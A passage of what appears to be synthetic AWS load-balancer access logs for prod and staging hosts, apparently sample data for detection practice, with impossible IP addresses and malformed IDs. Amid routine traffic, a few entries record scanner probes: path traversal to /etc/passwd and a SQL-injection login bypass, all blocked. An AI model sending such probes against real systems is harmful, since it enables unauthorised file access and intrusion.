HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d004-19404ca2e1f746f89bae9be3" "prod-api-alb.example.com" "-" 2 2024-11-01T01:44:20.597215Z "forward" "-" "-" "10.0.223.164:443" "200" "-" "-" +https 2024-11-01T01:44:21.761757Z prod-api-alb 134.254.68.169:61371 10.0.37.148:443 0.004336 0.104929 0.045774 404 404 457 14515 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d005-2abc27a7067b4b7cb5e61631" "prod-api-alb.example.com" "-" 4 2024-11-01T01:44:21.761757Z "forward" "-" "-" "10.0.37.148:443" "404" "-" "-" +https 2024-11-01T01:44:23.346177Z prod-web-alb 54.225.24.172:40104 10.0.26.156:443 0.093959 0.244359 0.030328 200 200 472 7590 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d007-9aa0e9e1c2ff462496215b80" "prod-web-alb.example.com" "-" 0 2024-11-01T01:44:23.346177Z "forward" "-" "-" "10.0.26.156:443" "200" "-" "-" +https 2024-11-01T01:44:25.141804Z prod-web-alb 5.204.135.50:24479 10.0.222.61:443 0.067815 0.264980 0.002605 301 301 126 3462 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d009-7633e8e3872447abaa985520" "prod-web-alb.example.com" "-" 7 2024-11-01T01:44:25.141804Z "forward" "-" "-" "10.0.222.61:443" "301" "-" "-" +https 2024-11-01T01:44:26.850058Z prod-api-alb 3.104.187.29:38357 10.0.228.123:443 0.076934 0.274071 0.040176 200 200 307 12415 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d00a-b0ff73032a174fdc877373af" "prod-api-alb.example.com" "-" 3 2024-11-01T01:44:26.850058Z "forward" "-" "-" "10.0.228.123:443" "200" "-" "-" +https 2024-11-01T01:44:27.730252Z prod-api-alb 45.155.205.19:10878 10.0.34.63:443 0.078825 0.371031 0.071540 403 403 835 3371 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d00b-5de7f959c56340fbb82dfbd2" "-" "-" 2 2024-11-01T01:44:27.730252Z "forward" "-" "-" "10.0.34.63:443" "403" "-" "-" +https 2024-11-01T01:44:28.238936Z prod-api-alb 100.22.244.59:38036 10.0.212.194:443 0.075755 0.032857 0.061241 404 404 166 12881 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d00c-8f2fef14ddec42678421a58a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:44:28.238936Z "forward" "-" "-" "10.0.212.194:443" "404" "-" "-" +https 2024-11-01T01:44:29.783083Z prod-web-alb 200.254.174.35:56248 10.0.67.231:443 0.080705 0.103671 0.065539 200 200 485 10615 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d00d-30898ba411a44e4484c0172e" "prod-web-alb.example.com" "-" 1 2024-11-01T01:44:29.783083Z "forward" "-" "-" "10.0.67.231:443" "200" "-" "-" +https 2024-11-01T01:44:30.304985Z prod-api-alb 12.191.216.16:37752 10.0.233.125:443 0.022246 0.122814 0.070733 301 301 620 4891 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d00e-63a79bb2bf6b42baa12face2" "-" "-" 2 2024-11-01T01:44:30.304985Z "forward" "-" "-" "10.0.233.125:443" "301" "-" "-" +https 2024-11-01T01:44:30.897464Z staging-alb 45.155.205.51:15651 8.230.123.7:80 0.036500 0.426806 0.102864 404 404 367 1488 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d00e-e01dd938131f43f9b9c8cdff" "-" "-" 9 2024-11-01T01:44:30.897464Z "forward" "-" "-" "8.230.123.7:80" "404" "-" "-" +https 2024-11-01T01:44:32.185514Z staging-alb 199.212.48.48:32108 30.99.203.146:8080 0.018949 0.696210 0.131951 200 200 300 11389 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d010-fc7f576549dc400097203575" "staging-alb.example.com" "-" 10 2024-11-01T01:44:32.185514Z "forward" "-" "-" "30.99.203.146:8080" "200" "-" "-" +https 2024-11-01T01:44:32.921417Z prod-api-alb 167.9.0.22:27984 10.0.218.160:443 0.021981 0.308409 0.004822 200 200 71 5499 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d010-6c68f0c3792b4a7a8c81a7ed" "prod-api-alb.example.com" "-" 0 2024-11-01T01:44:32.921417Z "forward" "-" "-" "10.0.218.160:443" "200" "-" "-" +https 2024-11-01T01:44:34.790012Z prod-web-alb 255.169.72.112:62899 10.0.74.152:443 0.028662 0.154914 0.035417 200 200 670 6504 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d012-3b3340b36060427994f40f9d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:44:34.790012Z "forward" "-" "-" "10.0.74.152:443" "200" "-" "-" +https 2024-11-01T01:44:35.241911Z prod-api-alb 135.170.180.30:44360 10.0.14.48:443 0.024794 0.432003 0.093155 302 302 947 383 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d013-df8b49a4791946c580e6b14c" "prod-api-alb.example.com" "-" 9 2024-11-01T01:44:35.241911Z "forward" "-" "-" "10.0.14.48:443" "302" "-" "-" +https 2024-11-01T01:44:36.804640Z prod-web-alb 191.22.152.244:44707 10.0.200.118:443 0.035202 0.272041 0.030729 200 200 543 9277 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d014-c97575be559745efbc1fb9ad" "prod-web-alb.example.com" "-" 7 2024-11-01T01:44:36.804640Z "forward" "-" "-" "10.0.200.118:443" "200" "-" "-" +http 2024-11-01T01:44:38.372737Z staging-alb 71.109.164.50:22815 83.60.137.87:443 0.087018 0.687145 0.100709 200 200 396 6607 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d016-b7f2488c45fc47fe8a98e78b" "staging-alb.example.com" "-" 3 2024-11-01T01:44:38.372737Z "forward" "-" "-" "83.60.137.87:443" "200" "-" "-" +https 2024-11-01T01:44:40.161539Z prod-web-alb 151.35.249.248:15778 10.0.193.226:443 0.066148 0.016695 0.055265 200 200 568 1081 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d018-4b4f0006352d4cac8765b751" "prod-web-alb.example.com" "-" 1 2024-11-01T01:44:40.161539Z "forward" "-" "-" "10.0.193.226:443" "200" "-" "-" +https 2024-11-01T01:44:40.824284Z prod-web-alb 39.116.3.114:62385 10.0.191.120:443 0.061468 0.261589 0.053119 200 200 142 6493 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d018-fc2ff082e02b4b5180e4cb44" "prod-web-alb.example.com" "-" 2 2024-11-01T01:44:40.824284Z "forward" "-" "-" "10.0.191.120:443" "200" "-" "-" +https 2024-11-01T01:44:41.870302Z prod-web-alb 148.47.87.59:28224 10.0.184.154:443 0.018971 0.079771 0.008749 200 200 898 3167 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d019-3e2ecda0bbc244af80aa356f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:44:41.870302Z "forward" "-" "-" "10.0.184.154:443" "200" "-" "-" +https 2024-11-01T01:44:42.660732Z prod-api-alb 250.216.58.153:29573 10.0.146.121:443 0.031396 0.118291 0.024918 200 200 901 1117 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d01a-62975d0808624ce59ce532f5" "prod-api-alb.example.com" "-" 4 2024-11-01T01:44:42.660732Z "forward" "-" "-" "10.0.146.121:443" "200" "-" "-" +http 2024-11-01T01:44:42.790692Z staging-alb 177.35.100.176:52943 127.226.7.37:80 0.105768 0.465199 0.011673 302 302 924 3943 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d01a-64fb3259a9c54693a98ed632" "staging-alb.example.com" "-" 9 2024-11-01T01:44:42.790692Z "forward" "-" "-" "127.226.7.37:80" "302" "-" "-" +https 2024-11-01T01:44:43.220493Z prod-web-alb 110.88.164.93:30484 10.0.205.227:443 0.002354 0.388371 0.076822 200 200 277 2185 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d01b-83eaa16d1acc4c1b87982571" "prod-web-alb.example.com" "-" 1 2024-11-01T01:44:43.220493Z "forward" "-" "-" "10.0.205.227:443" "200" "-" "-" +https 2024-11-01T01:44:44.247410Z staging-alb 80.117.42.166:46000 229.106.149.232:80 0.025362 0.636079 0.066485 404 404 668 13524 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d01c-41e00853111c43aea7741968" "staging-alb.example.com" "-" 1 2024-11-01T01:44:44.247410Z "forward" "-" "-" "229.106.149.232:80" "404" "-" "-" +https 2024-11-01T01:44:44.720854Z prod-api-alb 178.191.160.229:27713 10.0.191.88:443 0.039346 0.044414 0.066182 301 301 485 8451 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d01c-2e307015fc7843a4af0ff068" "prod-api-alb.example.com" "-" 6 2024-11-01T01:44:44.720854Z "forward" "-" "-" "10.0.191.88:443" "301" "-" "-" +https 2024-11-01T01:44:45.881359Z prod-web-alb 13.0.8.113:14272 10.0.116.170:443 0.053668 0.261810 0.061841 301 301 62 710 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d01d-e19e82fda0854359aef9c8a1" "prod-web-alb.example.com" "-" 4 2024-11-01T01:44:45.881359Z "forward" "-" "-" "10.0.116.170:443" "301" "-" "-" +https 2024-11-01T01:44:46.285985Z prod-api-alb 245.211.63.25:42444 10.0.28.178:443 0.029225 0.300783 0.074491 302 302 282 11025 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d01e-83c7c7e7c26f4639a4a52c8d" "prod-api-alb.example.com" "-" 8 2024-11-01T01:44:46.285985Z "forward" "-" "-" "10.0.28.178:443" "302" "-" "-" +https 2024-11-01T01:44:47.705537Z prod-api-alb 88.1.231.91:64299 10.0.19.8:443 0.000567 0.471761 0.050531 404 404 489 12984 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d01f-09699b3c7e5f4fd99aad266e" "prod-api-alb.example.com" "-" 2 2024-11-01T01:44:47.705537Z "forward" "-" "-" "10.0.19.8:443" "404" "-" "-" +https 2024-11-01T01:44:48.347244Z prod-web-alb 159.39.69.110:48073 10.0.185.81:443 0.069721 0.318163 0.084753 200 200 22 12359 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d020-a29a6c4586664d88a559d119" "prod-web-alb.example.com" "-" 0 2024-11-01T01:44:48.347244Z "forward" "-" "-" "10.0.185.81:443" "200" "-" "-" +https 2024-11-01T01:44:50.114682Z staging-alb 87.16.19.131:15143 225.191.53.152:443 0.057208 0.024241 0.095115 404 404 995 7412 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d022-4fc0cbd17ac84abba656ba1b" "staging-alb.example.com" "-" 5 2024-11-01T01:44:50.114682Z "forward" "-" "-" "225.191.53.152:443" "404" "-" "-" +http 2024-11-01T01:44:51.299786Z staging-alb 249.192.193.179:53571 40.145.130.229:443 0.032865 0.237347 0.020036 200 200 547 11392 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d023-78921581af78436e815a26e4" "staging-alb.example.com" "-" 8 2024-11-01T01:44:51.299786Z "forward" "-" "-" "40.145.130.229:443" "200" "-" "-" +https 2024-11-01T01:44:51.921723Z prod-web-alb 170.49.72.178:64239 10.0.192.81:443 0.098075 0.079375 0.041084 200 200 967 883 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d023-45199c7d71824936b47051b6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:44:51.921723Z "forward" "-" "-" "10.0.192.81:443" "200" "-" "-" +https 2024-11-01T01:44:52.807069Z prod-web-alb 25.195.241.145:39947 10.0.246.186:443 0.008747 0.148306 0.043049 302 302 32 13478 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d024-def42fef208147e29f58591b" "prod-web-alb.example.com" "-" 1 2024-11-01T01:44:52.807069Z "forward" "-" "-" "10.0.246.186:443" "302" "-" "-" +https 2024-11-01T01:44:54.595859Z prod-api-alb 185.181.129.31:31777 10.0.46.119:443 0.031939 0.316060 0.036740 403 403 8 7917 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d026-5c7ab511bf4b469199c219ff" "-" "-" 10 2024-11-01T01:44:54.595859Z "forward" "-" "-" "10.0.46.119:443" "403" "-" "-" +https 2024-11-01T01:44:55.689400Z prod-api-alb 159.231.90.227:57069 10.0.55.113:443 0.060689 0.236423 0.083900 200 200 732 14440 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d027-696f2c2db06c4f69b7fdbbe3" "prod-api-alb.example.com" "-" 6 2024-11-01T01:44:55.689400Z "forward" "-" "-" "10.0.55.113:443" "200" "-" "-" +https 2024-11-01T01:44:56.320989Z prod-api-alb 99.73.158.238:35619 10.0.212.143:443 0.098096 0.468429 0.073792 301 301 225 12622 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d028-8b41648c670b490baadc88de" "prod-api-alb.example.com" "-" 2 2024-11-01T01:44:56.320989Z "forward" "-" "-" "10.0.212.143:443" "301" "-" "-" +https 2024-11-01T01:44:57.673431Z prod-api-alb 83.90.62.127:20235 10.0.187.127:443 0.098510 0.438218 0.067315 404 404 788 9981 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d029-412837ae4f244c84b31fbf2e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:44:57.673431Z "forward" "-" "-" "10.0.187.127:443" "404" "-" "-" +http 2024-11-01T01:44:58.279671Z staging-alb 52.67.217.130:60517 216.163.105.182:80 0.001236 0.438505 0.041490 301 301 634 6526 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d02a-5801fb13e4be4eadb9d875e7" "staging-alb.example.com" "-" 3 2024-11-01T01:44:58.279671Z "forward" "-" "-" "216.163.105.182:80" "301" "-" "-" +https 2024-11-01T01:44:59.052377Z prod-web-alb 129.82.130.153:64352 10.0.130.145:443 0.003280 0.007575 0.077298 200 200 14 1512 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d02b-2ae92c966bff4b63a05d9c00" "prod-web-alb.example.com" "-" 5 2024-11-01T01:44:59.052377Z "forward" "-" "-" "10.0.130.145:443" "200" "-" "-" +https 2024-11-01T01:44:59.689683Z prod-web-alb 165.22.176.251:53004 10.0.184.244:443 0.098585 0.142773 0.025187 200 200 118 12931 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d02b-39285b14b6f84b66bb2302ad" "prod-web-alb.example.com" "-" 5 2024-11-01T01:44:59.689683Z "forward" "-" "-" "10.0.184.244:443" "200" "-" "-" +https 2024-11-01T01:45:00.742894Z prod-web-alb 71.77.248.73:50026 10.0.32.71:443 0.072726 0.448178 0.093746 302 302 587 10300 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d02c-3b109f2cb8e34f6db7056bb4" "prod-web-alb.example.com" "-" 0 2024-11-01T01:45:00.742894Z "forward" "-" "-" "10.0.32.71:443" "302" "-" "-" +https 2024-11-01T01:45:01.617954Z prod-web-alb 49.95.184.68:62662 10.0.249.177:443 0.005592 0.397334 0.007817 301 301 757 13841 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d02d-4bad5eea2bdc4dbdb6e695d2" "prod-web-alb.example.com" "-" 5 2024-11-01T01:45:01.617954Z "forward" "-" "-" "10.0.249.177:443" "301" "-" "-" +https 2024-11-01T01:45:01.813838Z prod-api-alb 45.41.65.116:21905 10.0.221.38:443 0.018773 0.302530 0.088410 404 404 886 8002 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d02d-f56ddae760a74efd9fcf7ec7" "prod-api-alb.example.com" "-" 10 2024-11-01T01:45:01.813838Z "forward" "-" "-" "10.0.221.38:443" "404" "-" "-" +https 2024-11-01T01:45:03.500605Z prod-api-alb 252.205.36.127:37091 10.0.148.191:443 0.028993 0.310368 0.003886 302 302 576 1845 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d02f-b73b83c5952c488eb146e976" "prod-api-alb.example.com" "-" 4 2024-11-01T01:45:03.500605Z "forward" "-" "-" "10.0.148.191:443" "302" "-" "-" +https 2024-11-01T01:45:03.602966Z staging-alb 80.175.4.53:57592 187.169.230.147:8080 0.107913 0.422527 0.111190 200 200 340 13046 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d02f-6404d0474a1f4f0b8ab2101b" "staging-alb.example.com" "-" 3 2024-11-01T01:45:03.602966Z "forward" "-" "-" "187.169.230.147:8080" "200" "-" "-" +https 2024-11-01T01:45:05.200350Z prod-web-alb 81.217.230.250:31223 10.0.28.117:443 0.061070 0.073417 0.024299 200 200 524 4574 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d031-00bbe40aee0641cc891aa2dd" "prod-web-alb.example.com" "-" 8 2024-11-01T01:45:05.200350Z "forward" "-" "-" "10.0.28.117:443" "200" "-" "-" +https 2024-11-01T01:45:05.965822Z prod-web-alb 102.77.255.246:20603 10.0.116.94:443 0.062582 0.176125 0.092954 200 200 116 11763 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d031-9494365bd54c49f7b125f4f5" "prod-web-alb.example.com" "-" 9 2024-11-01T01:45:05.965822Z "forward" "-" "-" "10.0.116.94:443" "200" "-" "-" +http 2024-11-01T01:45:07.282092Z staging-alb 226.50.33.149:22413 187.125.42.219:443 0.047390 0.291355 0.046939 200 200 161 1901 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d033-bd7452839bdb4ee0b188a2f1" "staging-alb.example.com" "-" 3 2024-11-01T01:45:07.282092Z "forward" "-" "-" "187.125.42.219:443" "200" "-" "-" +http 2024-11-01T01:45:07.928623Z staging-alb 182.151.29.177:53501 124.48.59.175:8080 0.023768 0.517255 0.051318 200 200 945 11032 "GET /api/v1/products HTTP/1.1" 